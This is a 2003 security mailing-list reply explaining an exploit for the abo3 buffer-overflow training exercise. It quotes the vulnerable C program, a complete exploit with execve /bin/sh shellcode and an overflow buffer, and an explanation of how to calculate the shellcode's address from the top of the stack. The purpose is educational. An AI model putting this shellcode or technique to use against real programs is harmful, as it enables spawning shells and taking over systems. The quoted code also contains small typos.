Re: Abo3 (can someone help me?)

From: c0n (defconat_private-con.org)
Date: Sun May 25 2003 - 22:26:37 PDT

  • Next message: Diode Trnasistor: "Re: [Vuln-dev Challenge] Challenge #2"

    #1: abo3 does only allocate 256, so we must use a larger buffer to store
        our overflow.
    
    #2: http://www.def-con.org/?p=exploit/bof-eng.txt
    ... taken from the above paper.
    
    1. As Aleph1's famous "Smashing the Stack for Fun and Profit"
    explains, we
    place our shellcode into the vulnerable buffer of vulnerable program, and
    try
    to guess the offset from our exploit's ESP.
    
    2. The second way is much more easier and smarter. By this method, we can
    know the address of our shellcode! What a nice thing it is! How? See this:
    
    If you have a look at the highest addresses of a linux ELF binary via gdb,
    when it is first loaded into memory, you'll see something like this:
    
    --------------------- 0xBFFFFFFF
    |\000 \000 \000 \000| 0xBFFFFFFB (4 NULL byte)
    |\000 ......        | 0xBFFFFFFA (program_name)
    | ..................|
    |...................| n. environment variable (env[n])
    |...................| n-1. environment variable (env[n-1])
    |...................|           ...
    |...................| 1. environment variable (env[0])
    |...................| ...
    |...................| n. argument string (argv[n])
    |...................| n-1. argument string (argv[n-1])
    |...................| ...
    |          .        |
    |          .        |
    |          .        |
    
    
    Looking at the above figure, we are all agreed that we can calculate the
    addresss of the last environment variable. It is:
    
    envp = 0xBFFFFFFF -
           4 -			(4 NULL bytes)
           strlen(program_name) -	(program_names's length - without the
    leading
    				NULL).
           1 - 			(NULL which strlen did not count above)
           strlen(envp[n]))		(the length of last environment string)
    
    Get rid of some unneccessary calculations, and, here is the final version:
    
    envp = 0xBFFFFFFA - strlen(prog_name) - strlen(envp[n])
    
    Did you remember, we supplied execve with an environment pointer? Does that
    ring a bell ? Right, we can pass our shellcode to the vulnerable program
    via the environment pointer, and calculate its address. This means we __
    exactly __ know what we need to write as the address to the vulnerable
    buffer.
    
    Formula for the address of our shellcode:
    
    ret = 0xBFFFFFFA - strlen(prog_name) - strlen(sc);
    
    
    
    #3:
    >       /* constructing the buffer */
    >       p = evil_buffer;
    >       memset(p, 'B', 256);    // Some junk
    >       p += 256;
    >
    >       *((void **)p) = (void *) (ret);
    >       p += 4;
    >       *p = '\0';
    >
    >       /* Two arguments are passed to the vulnerable program */
    >       execle("/home/user/gera/abo3", "abo3", evil_buffer, "A",
    > NULL,env);
    
    p is set to the address of evil_buffer
    p is filled with 256 B's
    location in p is changed to after the 256 B's
    return address is added to the end of p
    location in p is changed to after the return address
    p is ended with a NULL
    
    
    hope that helps...
    
     c0n
    
    
    
    On Sat, 24 May 2003, Discussion Lists wrote:
    
    > Hi all,
    > This list has become far more interesting with the challenges.  Thanks
    > to all for the participation.  Recently, a user posted a particular
    > site:
    >
    >
    > http://community.core-sdi.com/~gera/InsecureProgramming/abo3.html
    >
    > Which has the following code:
    >
    >
    > /* abo3.c                                                    *
    >  * specially crafted to feed your brain by gera@core-sdi.com */
    >
    > /* This'll prepare you for The Next Step                     */
    >
    > int main(int argv,char **argc) {
    > 	extern system,puts;
    > 	void (*fn)(char*)=(void(*)(char*))&system;
    > 	char buf[256];
    >
    > 	fn=(void(*)(char*))&puts;
    > 	strcpy(buf,argc[1]);
    > 	fn(argc[2]);
    > 	exit(1);
    > }
    >
    > The issue here is that there is an exit(1) at the end of the code.  So
    > even if you were to overwrite the return address, it would not matter
    > because there is no return (if I understand correctly).
    >
    > The solution, according to this place:
    >
    > http://www.core-sec.com/examples/core_vulnerabilities.pdf
    >
    > is that we have to stick our shellcode in an environment variable, then
    > overwrite the address of that variable into the address of the fn()
    > function.  So they lay out the following code to do it (questions
    > in-line):
    >
    > /*
    > ** exp3.c
    > ** Coded by CoreSecurity - info@core-sec.com
    > **/
    >
    > #include <string.h>
    > #include <uninstd.h>
    >
    > #define BUFSIZE 261
    >
    > /* Why 261?  THe vulnerable program allocates 256 I thought.  Where is
    > that other 5 going to/for? */
    >
    > /* 24 bytes shellcode */
    > char shellcode[]=
    >         /*  1       P    h  \   \   s   h    h  \   b    i  */
    > 	"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69"
    > 	/* n           P  2                */
    > 	"\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80";
    > /* so it is pushing /bin/sh backwards on the stack.  Aleph1 talks about
    > how to create this code so I won't ask about it*/
    > int main(void) {
    > 	char *env[3] = {shellcode, NULL};
    > 	char evil_buffer[BUFFSIZE];
    > 	char *p;
    >
    > 	/*Calculating address of shellcode */
    > 	int ret = 0xbffffffa - strlen(shellcode) -
    > strlen("/home/user/gera/abo3");
    > /* That is what I don't get.  First, what is the 0xbffffffa address?  Is
    > that where supposedly the
    > ending address of the code when everything is pushed onto the stack?  I
    > believe strlen calculates the
    > length of a string?  If that is the case, why do they need to calculate
    > shellcode, and the path.  I
    > also assume the path is case specific.  In other words, if the binary
    > has a different path on my system,
    > I would use that instead. */
    >
    > 	/* constructing the buffer */
    > 	p = evil_buffer;
    > 	memset(p, 'B', 256);	// Some junk
    > 	p += 256;
    >
    > 	*((void **)p) = (void *) (ret);
    > 	p += 4;
    > 	*p = '\0';
    >
    > 	/* Two arguments are passed to the vulnerable program */
    > 	execle("/home/user/gera/abo3", "abo3", evil_buffer, "A",
    > NULL,env);
    > __________________________________________
    > I don't completely understand much of that last part either, but I have
    > the K&R book, so I will drag it out and see what I can find out.
    >
    >
    



    This archive was generated by hypermail 2b30 : Sun May 25 2003 - 23:20:21 PDT